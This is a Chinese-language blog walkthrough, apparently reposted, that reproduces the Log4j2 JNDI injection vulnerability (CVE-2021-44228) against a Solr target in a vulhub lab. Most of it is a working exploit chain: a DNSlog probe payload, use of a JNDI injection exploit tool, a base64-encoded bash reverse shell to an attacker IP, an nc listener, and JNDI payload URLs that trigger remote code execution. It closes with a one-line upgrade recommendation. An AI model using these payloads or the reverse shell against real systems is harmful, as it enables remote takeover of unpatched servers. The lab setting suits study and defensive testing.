Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

这篇具有很好参考价值的文章主要介绍了Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Apache Log4j简介

Apache log4j 是 Apache 的一个开源项目, Apache log4j2 是一个 Java 的日志记录工具。该工具重写了 log4j 框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。

漏洞介绍

log4j2 中存在 JNDI 注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。成功利用该漏洞可在目标服务器上执行任意代码。

影响版本

Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)

漏洞编号

CVE-2021-44228

影响组件应用

Apache Struts2
Apache Solr
Apache Druid
Apache Flink
srping-boot-strater-log4j2

环境准备

测试环境 IP
Kali 192.168.174.128
靶机 192.168.174.131

靶场搭建

使用vulhub进行靶场搭建,如果不会使用的请看往期文章。

Docker搭建漏洞靶场(Vulhub、Vulnapp、Vulfocus)

使用docker搭建vulfocus的漏洞靶场

cd vulhub-master/log4j/CVE-2021-44228

docker-compose up -d

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

浏览器访问 http://192.168.174.131:8983/ ,靶场部署成功

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

漏洞利用

POC测试、出现以下界面,可能存在log4j2 中存在 JNDI 注入漏洞

http://192.168.174.131:8983/solr/admin/cores?action=1

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

试着访问dnslog,有访问记录,存在log4j2 中存在 JNDI 注入漏洞

dnslog网站
https://www.callback.red/

poc如下:

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.vx9w.callback.red}

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

利用工具

Log4j2 - JNDI 注入漏洞利用工具

使用方式

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

反弹shell操作

反弹shell命令

bash -i >& /dev/tcp/ip/port 0>&1

在此kali攻击机构造反弹shell命令

bash -i >& /dev/tcp/192.168.174.128/9999 0>&1

将此条命令进行Java Runtime Bash 编码

编码网站

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3NC4xMjgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.174.128

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

得到反弹shell的EXP

Target environment(Build in JDK whose trustURLCodebase is false and have Tomcat 8+ or SpringBoot 1.2.x+ in classpath):
rmi://192.168.174.128:1099/dctv93
Target environment(Build in JDK 1.7 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/fngumm
ldap://192.168.174.128:1389/fngumm
Target environment(Build in JDK 1.8 whose trustURLCodebase is true):
rmi://192.168.174.128:1099/bnntjh
ldap://192.168.174.128:1389/bnntjh

攻击机监听9999端口

nc -lvvp 9999

发送EXP

http://192.168.174.131:8983/solr/admin/cores?action=${jndi:rmi://192.168.174.128:1099/gw42ym}
http://192.168.174.131:8983/solr/admin/cores?action=${jndi:ldap://192.168.174.128:1389/gw42ym}

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

反弹shell成功

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)

Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)文章来源地址https://www.toymoban.com/news/detail-464848.html

漏洞修复建议

升级到最新版本 2.15.0-rc2 :
https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

到了这里,关于Log4j2 - JNDI 注入漏洞复现(CVE-2021-44228)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • log4j2漏洞CVE-2021-44228复现笔记(纯步骤过程,没有复杂的知识点)

    前言: Apache Log4j 2 是对 Log4j 的升级,它比其前身 Log4j 1.x 提供了显着改进,并提供了 Logback 中可用的许多改进,同时修复了 Logback 架构中的一些固有问题。 2021 年 12 月,在 Apache Log4j2 中发现了一个 0-day 漏洞。Log4j 的 JNDI 支持并没有限制可以解析的名称。一些协议像rmi:和ld

    2024年02月12日
    浏览(32)
  • Log4j2远程命令执行(CVE-2021-44228)

    2.0 = Apache Log4j2= 2.14.1 启动服务后,进入主页面,点击页面中的???链接,跳转到,目标地址。 首先使用dnslog进行测试,是否存在jndi注入的点,再ceyedns平台接收到了反馈的消息,发现此处存在jndi注入。 如果payload没有进行url编码,可能会导致后台无法解析,最好的方式就是

    2024年02月04日
    浏览(41)
  • log4j2漏洞原理和漏洞环境搭建复现

    目录 1.背景 1.1影响版本 2.漏洞原理 2.1JNDI是什么 2.2LDAP是什么 2.3JNDI注入原因 2.4 log4j2是什么 3.漏洞复现 3.1准备工作 3.1.1准备恶意代码 3.1.2将恶意代码放到网站目录下 3.1.3 LDAP服务器端 3.1.4客户端搭建 3.1.5 执行代码  4.注意事项 部分资源在文章最后百度网盘 2021年11月24日,阿里

    2024年02月05日
    浏览(29)
  • Log4j2 反序列化漏洞与复现

    Log4j → Log for Java ,Apache的开源日志记录组件 JDK →1.8u21以下的版本 CVE-2021-44228 远程代码执行 →2.15.0修复 CVE-2021-45046 拒绝服务Dos →2.16.0修复 CVE-2021-45105 拒绝服务Dos →2.17.0修复 CVE-2021-44832 远程代码执行 →2.17.1修复 Log4j为了输出日志时能输出任意位置的Java对象,引入了Looku

    2024年02月05日
    浏览(39)
  • log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)

    啥是log4j2? log4j2是apache下的java应用常见的开源日志库,是一个就Java的日志记录工具。在log4j框架的基础上进行了改进,并引入了丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。 啥是JNDI? 由

    2024年02月06日
    浏览(76)
  • log4j2漏洞分析

    和前面的JNDI注入时用的代码差不多 如果要引入log4j2的jar包可以这么配置Maven的pom.xml 还要创建个配置文件 log4j2这个漏洞当时爆出来的时候堪称是核弹级别的,危害非常大,利用还非常简单,既然如此,那我们肯定要分析一下漏洞相关的原理来学习一下 这个漏洞是个JNDI注入漏

    2024年02月09日
    浏览(38)
  • log4j JNDI注入漏洞

    目录 log4j JNDI注入漏洞 一、LDAP介绍 二、JDBC介绍 三、JNDI介绍 四、JNDI命名引用 五、log4j JNDI注入漏洞 ​LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。 ​JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database connect),它是一套用于执行SQL语句

    2024年02月01日
    浏览(33)
  • Java代码审计15之Apache log4j2漏洞

    2.1、高版本测试 先说结论,ldap协议, rmi协议 还有就是“ “${jndi:rmi://127.0.0.1:7778/exp}” ” 2.2、测试代码 先引入组件, main.java jndiexp.java 2.3、补充之dns探测 2.3.1、rmi、ldap也可以dnslog探测 在使用dnslog探测漏洞的时候, 其实不仅仅dns协议可以,ldap和rmi协议也可以, 类似的rmi,

    2024年02月10日
    浏览(31)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(31)
  • CVE-2021-44228 Apache log4j 远程命令执行漏洞

    一、漏洞原理 log4j(log for java)是由Java编写的可靠、灵活的日志框架,是Apache旗下的一个开源项目,使用Log4j,我们更加方便的记录了日志信息,它不但能控制日志输出的目的地,也能控制日志输出的内容格式;通过定义不同的日志级别,可以更加精确的控制日志的生成过程,

    2024年02月08日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包